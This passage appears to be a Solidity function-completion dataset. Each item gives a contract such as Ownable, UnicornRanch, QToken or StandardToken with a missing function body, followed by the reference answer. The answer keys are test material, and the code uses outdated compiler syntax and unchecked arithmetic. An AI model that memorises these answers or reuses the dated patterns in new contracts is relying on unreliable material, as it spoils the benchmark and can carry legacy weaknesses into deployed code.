assertOwnersAreConsistent() private constant { assert(m_numOwners > 0); assert(m_numOwners <= c_maxOwners); assert(m_owners[0] == 0); assert(0 != m_multiOwnedRequired && m_multiOwnedRequired <= m_numOwners); } function assertOperationIsConsistent(bytes32 _operation) private constant { var pending = m_multiOwnedPending[_operation]; assert(0 != pending.yetNeeded); assert(m_multiOwnedPendingIndex[pending.index] == _operation); assert(pending.yetNeeded <= m_multiOwnedRequired); } // FIELDS uint constant c_maxOwners = 250; // the number of owners that must confirm the same operation before it is run. uint public m_multiOwnedRequired; // pointer used to find a free slot in m_owners uint public m_numOwners; // list of owners (addresses), // slot 0 is unused so there are no owner which index is 0. // TODO could we save space at the end of the array for the common case of <10 owners? and should we? address[256] internal m_owners; // index on the list of owners to allow reverse lookup: owner address => index in m_owners mapping(address => uint) internal m_ownerIndex; // the ongoing operations. mapping(bytes32 => MultiOwnedOperationPendingState) internal m_multiOwnedPending; bytes32[] internal m_multiOwnedPendingIndex; }
if (512 == m_multiOwnedPendingIndex.length) // In case m_multiOwnedPendingIndex grows too much we have to shrink it: otherwise at some point // we won't be able to do it because of block gas limit. // Yes, pending confirmations will be lost. Dont see any security or stability implications. // TODO use more graceful approach like compact or removal of clearPending completely clearPending(); var pending = m_multiOwnedPending[_operation]; // if we're not yet working on this operation, switch over and reset the confirmation status. if (! isOperationActive(_operation)) { // reset count of confirmations needed. pending.yetNeeded = m_multiOwnedRequired; // reset which owners have confirmed (none) - set our bitmap to 0. pending.ownersDone = 0; pending.index = m_multiOwnedPendingIndex.length++; m_multiOwnedPendingIndex[pending.index] = _operation; assertOperationIsConsistent(_operation); } // determine the bit to set for this owner. uint ownerIndexBit = makeOwnerBitmapBit(msg.sender); // make sure we (the message sender) haven't confirmed this operation previously. if (pending.ownersDone & ownerIndexBit == 0) { // ok - check if count is enough to go ahead. assert(pending.yetNeeded > 0); if (pending.yetNeeded == 1) { // enough confirmations: reset and run interior. delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index]; delete m_multiOwnedPending[_operation]; FinalConfirmation(msg.sender, _operation); return true; } else { // not enough: record that this owner in particular confirmed. pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; assertOperationIsConsistent(_operation); Confirmation(msg.sender, _operation); } }
function confirmAndCheck(bytes32 _operation) private onlyowner returns (bool)
// INTERNAL METHODS function confirmAndCheck(bytes32 _operation) private onlyowner returns (bool)
71459
AddressValidator
validateIllegalAddress
contract AddressValidator { string constant errorMessage = "this is illegal address"; function validateIllegalAddress(address _addr) external pure {<FILL_FUNCTION_BODY> } function validateGroup(address _addr, address _groupAddr) external view { require(IGroup(_groupAddr).isGroup(_addr), errorMessage); } function validateGroups( address _addr, address _groupAddr1, address _groupAddr2 ) external view { if (IGroup(_groupAddr1).isGroup(_addr)) { return; } require(IGroup(_groupAddr2).isGroup(_addr), errorMessage); } function validateAddress(address _addr, address _target) external pure { require(_addr == _target, errorMessage); } function validateAddresses( address _addr, address _target1, address _target2 ) external pure { if (_addr == _target1) { return; } require(_addr == _target2, errorMessage); } function validate3Addresses( address _addr, address _target1, address _target2, address _target3 ) external pure { if (_addr == _target1) { return; } if (_addr == _target2) { return; } require(_addr == _target3, errorMessage); } }
contract AddressValidator { string constant errorMessage = "this is illegal address"; <FILL_FUNCTION> function validateGroup(address _addr, address _groupAddr) external view { require(IGroup(_groupAddr).isGroup(_addr), errorMessage); } function validateGroups( address _addr, address _groupAddr1, address _groupAddr2 ) external view { if (IGroup(_groupAddr1).isGroup(_addr)) { return; } require(IGroup(_groupAddr2).isGroup(_addr), errorMessage); } function validateAddress(address _addr, address _target) external pure { require(_addr == _target, errorMessage); } function validateAddresses( address _addr, address _target1, address _target2 ) external pure { if (_addr == _target1) { return; } require(_addr == _target2, errorMessage); } function validate3Addresses( address _addr, address _target1, address _target2, address _target3 ) external pure { if (_addr == _target1) { return; } if (_addr == _target2) { return; } require(_addr == _target3, errorMessage); } }
require(_addr != address(0), errorMessage);
function validateIllegalAddress(address _addr) external pure
function validateIllegalAddress(address _addr) external pure
84856
Ownable
acceptOwnership
contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public onlyNewOwner returns(bool) {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } <FILL_FUNCTION> }
emit OwnershipTransferred(owner, newOwner); owner = newOwner;
function acceptOwnership() public onlyNewOwner returns(bool)
function acceptOwnership() public onlyNewOwner returns(bool)
69778
UnicornRanch
completeBooking
contract UnicornRanch { using SafeMath for uint; enum VisitType { Spa, Afternoon, Day, Overnight, Week, Extended } enum VisitState { InProgress, Completed, Repossessed } struct Visit { uint unicornCount; VisitType t; uint startBlock; uint expiresBlock; VisitState state; uint completedBlock; uint completedCount; } struct VisitMeta { address owner; uint index; } address public cardboardUnicornTokenAddress; address public groveAddress; address public owner = msg.sender; mapping (address => Visit[]) bookings; mapping (bytes32 => VisitMeta) public bookingMetadataForKey; mapping (uint8 => uint) public visitLength; mapping (uint8 => uint) public visitCost; uint public visitingUnicorns = 0; uint public repossessionBlocks = 43200; uint8 public repossessionBountyPerTen = 2; uint8 public repossessionBountyPerHundred = 25; uint public birthBlockThreshold = 43860; uint8 public birthPerTen = 1; uint8 public birthPerHundred = 15; event NewBooking(address indexed _who, uint indexed _index, VisitType indexed _type, uint _unicornCount); event BookingUpdate(address indexed _who, uint indexed _index, VisitState indexed _newState, uint _unicornCount); event RepossessionBounty(address indexed _who, uint _unicornCount); event DonationReceived(address indexed _who, uint _unicornCount); modifier onlyOwner { require(msg.sender == owner); _; } function UnicornRanch() { visitLength[uint8(VisitType.Spa)] = 720; visitLength[uint8(VisitType.Afternoon)] = 1440; visitLength[uint8(VisitType.Day)] = 2880; visitLength[uint8(VisitType.Overnight)] = 8640; visitLength[uint8(VisitType.Week)] = 60480; visitLength[uint8(VisitType.Extended)] = 120960; visitCost[uint8(VisitType.Spa)] = 0; visitCost[uint8(VisitType.Afternoon)] = 0; visitCost[uint8(VisitType.Day)] = 10 szabo; visitCost[uint8(VisitType.Overnight)] = 30 szabo; visitCost[uint8(VisitType.Week)] = 50 szabo; visitCost[uint8(VisitType.Extended)] = 70 szabo; } function getBookingCount(address _who) constant returns (uint count) { return bookings[_who].length; } function getBooking(address _who, uint _index) constant returns (uint _unicornCount, VisitType _type, uint _startBlock, uint _expiresBlock, VisitState _state, uint _completedBlock, uint _completedCount) { Visit storage v = bookings[_who][_index]; return (v.unicornCount, v.t, v.startBlock, v.expiresBlock, v.state, v.completedBlock, v.completedCount); } function bookSpaVisit(uint _unicornCount) payable { return addBooking(VisitType.Spa, _unicornCount); } function bookAfternoonVisit(uint _unicornCount) payable { return addBooking(VisitType.Afternoon, _unicornCount); } function bookDayVisit(uint _unicornCount) payable { return addBooking(VisitType.Day, _unicornCount); } function bookOvernightVisit(uint _unicornCount) payable { return addBooking(VisitType.Overnight, _unicornCount); } function bookWeekVisit(uint _unicornCount) payable { return addBooking(VisitType.Week, _unicornCount); } function bookExtendedVisit(uint _unicornCount) payable { return addBooking(VisitType.Extended, _unicornCount); } function addBooking(VisitType _type, uint _unicornCount) payable { if (_type == VisitType.Afternoon) { return donateUnicorns(availableBalance(msg.sender)); } require(msg.value >= visitCost[uint8(_type)].mul(_unicornCount)); // Must be paying proper amount ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); cardboardUnicorns.transferFrom(msg.sender, address(this), _unicornCount); // Transfer the actual asset visitingUnicorns = visitingUnicorns.add(_unicornCount); uint expiresBlock = block.number.add(visitLength[uint8(_type)]); // Calculate when this booking will be done // Add the booking to the ledger bookings[msg.sender].push(Visit( _unicornCount, _type, block.number, expiresBlock, VisitState.InProgress, 0, 0 )); uint newIndex = bookings[msg.sender].length - 1; bytes32 uniqueKey = keccak256(msg.sender, newIndex); // Create a unique key for this booking // Add a reference for that key, to find the metadata about it later bookingMetadataForKey[uniqueKey] = VisitMeta( msg.sender, newIndex ); if (groveAddress > 0) { // Insert into Grove index for applications to query GroveAPI g = GroveAPI(groveAddress); g.insert("bookingExpiration", uniqueKey, int(expiresBlock)); } // Send event about this new booking NewBooking(msg.sender, newIndex, _type, _unicornCount); } function completeBooking(uint _index) {<FILL_FUNCTION_BODY> } function repossessBooking(address _who, uint _index) { require(bookings[_who].length > _index); // Address in question must have at least this many bookings Visit storage v = bookings[_who][_index]; require(block.number > v.expiresBlock.add(repossessionBlocks)); // Repossession time must be past require(v.state == VisitState.InProgress); // Visit must not be complete or repossessed visitingUnicorns = visitingUnicorns.sub(v.unicornCount); // Send event about this update BookingUpdate(_who, _index, VisitState.Repossessed, v.unicornCount); // Calculate Bounty amount uint bountyCount = 1; if (v.unicornCount >= 100) { bountyCount = uint(repossessionBountyPerHundred).mul(v.unicornCount / 100); } else if (v.unicornCount >= 10) { bountyCount = uint(repossessionBountyPerTen).mul(v.unicornCount / 10); } // Send bounty to bounty hunter ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); cardboardUnicorns.transfer(msg.sender, bountyCount); // Send event about the bounty payout RepossessionBounty(msg.sender, bountyCount); // Update the status of the Visit v.state = VisitState.Repossessed; v.completedBlock = block.number; v.completedCount = v.unicornCount - bountyCount; bookings[_who][_index] = v; } function availableBalance(address _who) internal returns (uint) { ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); uint count = cardboardUnicorns.allowance(_who, address(this)); if (count == 0) { return 0; } uint balance = cardboardUnicorns.balanceOf(_who); if (balance < count) { return balance; } return count; } function() payable { if (cardboardUnicornTokenAddress == 0) { return; } return donateUnicorns(availableBalance(msg.sender)); } function donateUnicorns(uint _unicornCount) payable { if (_unicornCount == 0) { return; } ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); cardboardUnicorns.transferFrom(msg.sender, address(this), _unicornCount); DonationReceived(msg.sender, _unicornCount); } /** * Change ownership of the Ranch */ function changeOwner(address _newOwner) onlyOwner { owner = _newOwner; } /** * Change the outside contracts used by this contract */ function changeCardboardUnicornTokenAddress(address _newTokenAddress) onlyOwner { cardboardUnicornTokenAddress = _newTokenAddress; } function changeGroveAddress(address _newAddress) onlyOwner { groveAddress = _newAddress; } /** * Update block durations for various types of visits */ function changeVisitLengths(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner { visitLength[uint8(VisitType.Spa)] = _spa; visitLength[uint8(VisitType.Afternoon)] = _afternoon; visitLength[uint8(VisitType.Day)] = _day; visitLength[uint8(VisitType.Overnight)] = _overnight; visitLength[uint8(VisitType.Week)] = _week; visitLength[uint8(VisitType.Extended)] = _extended; } /** * Update ether costs for various types of visits */ function changeVisitCosts(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner { visitCost[uint8(VisitType.Spa)] = _spa; visitCost[uint8(VisitType.Afternoon)] = _afternoon; visitCost[uint8(VisitType.Day)] = _day; visitCost[uint8(VisitType.Overnight)] = _overnight; visitCost[uint8(VisitType.Week)] = _week; visitCost[uint8(VisitType.Extended)] = _extended; } /** * Update bounty reward settings */ function changeRepoSettings(uint _repoBlocks, uint8 _repoPerTen, uint8 _repoPerHundred) onlyOwner { repossessionBlocks = _repoBlocks; repossessionBountyPerTen = _repoPerTen; repossessionBountyPerHundred = _repoPerHundred; } /** * Update birth event settings */ function changeBirthSettings(uint _birthBlocks, uint8 _birthPerTen, uint8 _birthPerHundred) onlyOwner { birthBlockThreshold = _birthBlocks; birthPerTen = _birthPerTen; birthPerHundred = _birthPerHundred; } function withdraw() onlyOwner { owner.transfer(this.balance); // Send all ether in this contract to this contract's owner } function withdrawForeignTokens(address _tokenContract) onlyOwner { ERC20Token token = ERC20Token(_tokenContract); token.transfer(owner, token.balanceOf(address(this))); // Send all owned tokens to this contract's owner } }
contract UnicornRanch { using SafeMath for uint; enum VisitType { Spa, Afternoon, Day, Overnight, Week, Extended } enum VisitState { InProgress, Completed, Repossessed } struct Visit { uint unicornCount; VisitType t; uint startBlock; uint expiresBlock; VisitState state; uint completedBlock; uint completedCount; } struct VisitMeta { address owner; uint index; } address public cardboardUnicornTokenAddress; address public groveAddress; address public owner = msg.sender; mapping (address => Visit[]) bookings; mapping (bytes32 => VisitMeta) public bookingMetadataForKey; mapping (uint8 => uint) public visitLength; mapping (uint8 => uint) public visitCost; uint public visitingUnicorns = 0; uint public repossessionBlocks = 43200; uint8 public repossessionBountyPerTen = 2; uint8 public repossessionBountyPerHundred = 25; uint public birthBlockThreshold = 43860; uint8 public birthPerTen = 1; uint8 public birthPerHundred = 15; event NewBooking(address indexed _who, uint indexed _index, VisitType indexed _type, uint _unicornCount); event BookingUpdate(address indexed _who, uint indexed _index, VisitState indexed _newState, uint _unicornCount); event RepossessionBounty(address indexed _who, uint _unicornCount); event DonationReceived(address indexed _who, uint _unicornCount); modifier onlyOwner { require(msg.sender == owner); _; } function UnicornRanch() { visitLength[uint8(VisitType.Spa)] = 720; visitLength[uint8(VisitType.Afternoon)] = 1440; visitLength[uint8(VisitType.Day)] = 2880; visitLength[uint8(VisitType.Overnight)] = 8640; visitLength[uint8(VisitType.Week)] = 60480; visitLength[uint8(VisitType.Extended)] = 120960; visitCost[uint8(VisitType.Spa)] = 0; visitCost[uint8(VisitType.Afternoon)] = 0; visitCost[uint8(VisitType.Day)] = 10 szabo; visitCost[uint8(VisitType.Overnight)] = 30 szabo; visitCost[uint8(VisitType.Week)] = 50 szabo; visitCost[uint8(VisitType.Extended)] = 70 szabo; } function getBookingCount(address _who) constant returns (uint count) { return bookings[_who].length; } function getBooking(address _who, uint _index) constant returns (uint _unicornCount, VisitType _type, uint _startBlock, uint _expiresBlock, VisitState _state, uint _completedBlock, uint _completedCount) { Visit storage v = bookings[_who][_index]; return (v.unicornCount, v.t, v.startBlock, v.expiresBlock, v.state, v.completedBlock, v.completedCount); } function bookSpaVisit(uint _unicornCount) payable { return addBooking(VisitType.Spa, _unicornCount); } function bookAfternoonVisit(uint _unicornCount) payable { return addBooking(VisitType.Afternoon, _unicornCount); } function bookDayVisit(uint _unicornCount) payable { return addBooking(VisitType.Day, _unicornCount); } function bookOvernightVisit(uint _unicornCount) payable { return addBooking(VisitType.Overnight, _unicornCount); } function bookWeekVisit(uint _unicornCount) payable { return addBooking(VisitType.Week, _unicornCount); } function bookExtendedVisit(uint _unicornCount) payable { return addBooking(VisitType.Extended, _unicornCount); } function addBooking(VisitType _type, uint _unicornCount) payable { if (_type == VisitType.Afternoon) { return donateUnicorns(availableBalance(msg.sender)); } require(msg.value >= visitCost[uint8(_type)].mul(_unicornCount)); // Must be paying proper amount ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); cardboardUnicorns.transferFrom(msg.sender, address(this), _unicornCount); // Transfer the actual asset visitingUnicorns = visitingUnicorns.add(_unicornCount); uint expiresBlock = block.number.add(visitLength[uint8(_type)]); // Calculate when this booking will be done // Add the booking to the ledger bookings[msg.sender].push(Visit( _unicornCount, _type, block.number, expiresBlock, VisitState.InProgress, 0, 0 )); uint newIndex = bookings[msg.sender].length - 1; bytes32 uniqueKey = keccak256(msg.sender, newIndex); // Create a unique key for this booking // Add a reference for that key, to find the metadata about it later bookingMetadataForKey[uniqueKey] = VisitMeta( msg.sender, newIndex ); if (groveAddress > 0) { // Insert into Grove index for applications to query GroveAPI g = GroveAPI(groveAddress); g.insert("bookingExpiration", uniqueKey, int(expiresBlock)); } // Send event about this new booking NewBooking(msg.sender, newIndex, _type, _unicornCount); } <FILL_FUNCTION> function repossessBooking(address _who, uint _index) { require(bookings[_who].length > _index); // Address in question must have at least this many bookings Visit storage v = bookings[_who][_index]; require(block.number > v.expiresBlock.add(repossessionBlocks)); // Repossession time must be past require(v.state == VisitState.InProgress); // Visit must not be complete or repossessed visitingUnicorns = visitingUnicorns.sub(v.unicornCount); // Send event about this update BookingUpdate(_who, _index, VisitState.Repossessed, v.unicornCount); // Calculate Bounty amount uint bountyCount = 1; if (v.unicornCount >= 100) { bountyCount = uint(repossessionBountyPerHundred).mul(v.unicornCount / 100); } else if (v.unicornCount >= 10) { bountyCount = uint(repossessionBountyPerTen).mul(v.unicornCount / 10); } // Send bounty to bounty hunter ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); cardboardUnicorns.transfer(msg.sender, bountyCount); // Send event about the bounty payout RepossessionBounty(msg.sender, bountyCount); // Update the status of the Visit v.state = VisitState.Repossessed; v.completedBlock = block.number; v.completedCount = v.unicornCount - bountyCount; bookings[_who][_index] = v; } function availableBalance(address _who) internal returns (uint) { ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); uint count = cardboardUnicorns.allowance(_who, address(this)); if (count == 0) { return 0; } uint balance = cardboardUnicorns.balanceOf(_who); if (balance < count) { return balance; } return count; } function() payable { if (cardboardUnicornTokenAddress == 0) { return; } return donateUnicorns(availableBalance(msg.sender)); } function donateUnicorns(uint _unicornCount) payable { if (_unicornCount == 0) { return; } ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); cardboardUnicorns.transferFrom(msg.sender, address(this), _unicornCount); DonationReceived(msg.sender, _unicornCount); } /** * Change ownership of the Ranch */ function changeOwner(address _newOwner) onlyOwner { owner = _newOwner; } /** * Change the outside contracts used by this contract */ function changeCardboardUnicornTokenAddress(address _newTokenAddress) onlyOwner { cardboardUnicornTokenAddress = _newTokenAddress; } function changeGroveAddress(address _newAddress) onlyOwner { groveAddress = _newAddress; } /** * Update block durations for various types of visits */ function changeVisitLengths(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner { visitLength[uint8(VisitType.Spa)] = _spa; visitLength[uint8(VisitType.Afternoon)] = _afternoon; visitLength[uint8(VisitType.Day)] = _day; visitLength[uint8(VisitType.Overnight)] = _overnight; visitLength[uint8(VisitType.Week)] = _week; visitLength[uint8(VisitType.Extended)] = _extended; } /** * Update ether costs for various types of visits */ function changeVisitCosts(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner { visitCost[uint8(VisitType.Spa)] = _spa; visitCost[uint8(VisitType.Afternoon)] = _afternoon; visitCost[uint8(VisitType.Day)] = _day; visitCost[uint8(VisitType.Overnight)] = _overnight; visitCost[uint8(VisitType.Week)] = _week; visitCost[uint8(VisitType.Extended)] = _extended; } /** * Update bounty reward settings */ function changeRepoSettings(uint _repoBlocks, uint8 _repoPerTen, uint8 _repoPerHundred) onlyOwner { repossessionBlocks = _repoBlocks; repossessionBountyPerTen = _repoPerTen; repossessionBountyPerHundred = _repoPerHundred; } /** * Update birth event settings */ function changeBirthSettings(uint _birthBlocks, uint8 _birthPerTen, uint8 _birthPerHundred) onlyOwner { birthBlockThreshold = _birthBlocks; birthPerTen = _birthPerTen; birthPerHundred = _birthPerHundred; } function withdraw() onlyOwner { owner.transfer(this.balance); // Send all ether in this contract to this contract's owner } function withdrawForeignTokens(address _tokenContract) onlyOwner { ERC20Token token = ERC20Token(_tokenContract); token.transfer(owner, token.balanceOf(address(this))); // Send all owned tokens to this contract's owner } }
require(bookings[msg.sender].length > _index); // Sender must have at least this many bookings Visit storage v = bookings[msg.sender][_index]; require(block.number >= v.expiresBlock); // Expired time must be past require(v.state == VisitState.InProgress); // Visit must not be complete or repossessed uint unicornsToReturn = v.unicornCount; ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); // Determine if any births occurred uint birthCount = 0; if (SafeMath.sub(block.number, v.startBlock) >= birthBlockThreshold) { if (v.unicornCount >= 100) { birthCount = uint(birthPerHundred).mul(v.unicornCount / 100); } else if (v.unicornCount >= 10) { birthCount = uint(birthPerTen).mul(v.unicornCount / 10); } } if (birthCount > 0) { uint availableUnicorns = cardboardUnicorns.balanceOf(address(this)) - visitingUnicorns; if (availableUnicorns < birthCount) { birthCount = availableUnicorns; } unicornsToReturn = unicornsToReturn.add(birthCount); } // Update the status of the Visit v.state = VisitState.Completed; v.completedBlock = block.number; v.completedCount = unicornsToReturn; bookings[msg.sender][_index] = v; // Transfer the asset back to the owner visitingUnicorns = visitingUnicorns.sub(unicornsToReturn); cardboardUnicorns.transfer(msg.sender, unicornsToReturn); // Send event about this update BookingUpdate(msg.sender, _index, VisitState.Completed, unicornsToReturn);
function completeBooking(uint _index)
function completeBooking(uint _index)
58284
QToken
unauthorise
contract QToken is HumanStandardToken { mapping (address => bool) authorisers; address creator; bool canPay = true; function QToken() HumanStandardToken(0, "Q", 18, "QTQ") public{ creator = msg.sender; } /** * Permissions modifiers */ modifier ifCreator(){ if(creator != msg.sender){ revert(); } _; } modifier ifAuthorised(){ if(authorisers[msg.sender] || creator == msg.sender){ _; } else{ revert(); } } modifier ifCanPay(){ if(!canPay){ revert(); } _; } /** * Events */ event Authorise(bytes16 _message, address indexed _actioner, address indexed _actionee); /** * User authorisation management methods */ function authorise(address _address) public ifAuthorised{ authorisers[_address] = true; Authorise('Added', msg.sender, _address); } function unauthorise(address _address) public ifAuthorised{<FILL_FUNCTION_BODY> } function replaceAuthorised(address _toReplace, address _new) public ifAuthorised{ delete authorisers[_toReplace]; Authorise('Removed', msg.sender, _toReplace); authorisers[_new] = true; Authorise('Added', msg.sender, _new); } function isAuthorised(address _address) public constant returns(bool){ return authorisers[_address] || (creator == _address); } /** * Special transaction methods */ function pay(address _address, uint256 _value) public ifCanPay ifAuthorised{ balances[_address] += _value; totalSupply += _value; Transfer(address(this), _address, _value); } function killPay() public ifCreator{ canPay = false; } }
contract QToken is HumanStandardToken { mapping (address => bool) authorisers; address creator; bool canPay = true; function QToken() HumanStandardToken(0, "Q", 18, "QTQ") public{ creator = msg.sender; } /** * Permissions modifiers */ modifier ifCreator(){ if(creator != msg.sender){ revert(); } _; } modifier ifAuthorised(){ if(authorisers[msg.sender] || creator == msg.sender){ _; } else{ revert(); } } modifier ifCanPay(){ if(!canPay){ revert(); } _; } /** * Events */ event Authorise(bytes16 _message, address indexed _actioner, address indexed _actionee); /** * User authorisation management methods */ function authorise(address _address) public ifAuthorised{ authorisers[_address] = true; Authorise('Added', msg.sender, _address); } <FILL_FUNCTION> function replaceAuthorised(address _toReplace, address _new) public ifAuthorised{ delete authorisers[_toReplace]; Authorise('Removed', msg.sender, _toReplace); authorisers[_new] = true; Authorise('Added', msg.sender, _new); } function isAuthorised(address _address) public constant returns(bool){ return authorisers[_address] || (creator == _address); } /** * Special transaction methods */ function pay(address _address, uint256 _value) public ifCanPay ifAuthorised{ balances[_address] += _value; totalSupply += _value; Transfer(address(this), _address, _value); } function killPay() public ifCreator{ canPay = false; } }
delete authorisers[_address]; Authorise('Removed', msg.sender, _address);
function unauthorise(address _address) public ifAuthorised
function unauthorise(address _address) public ifAuthorised
92941
StandardToken
transferFrom
contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {<FILL_FUNCTION_BODY> } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; }
contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } <FILL_FUNCTION> function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; }
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; }
function transferFrom(address _from, address _to, uint256 _value) returns (bool success)
function transferFrom(address _from, address _to, uint256 _value) returns (bool success)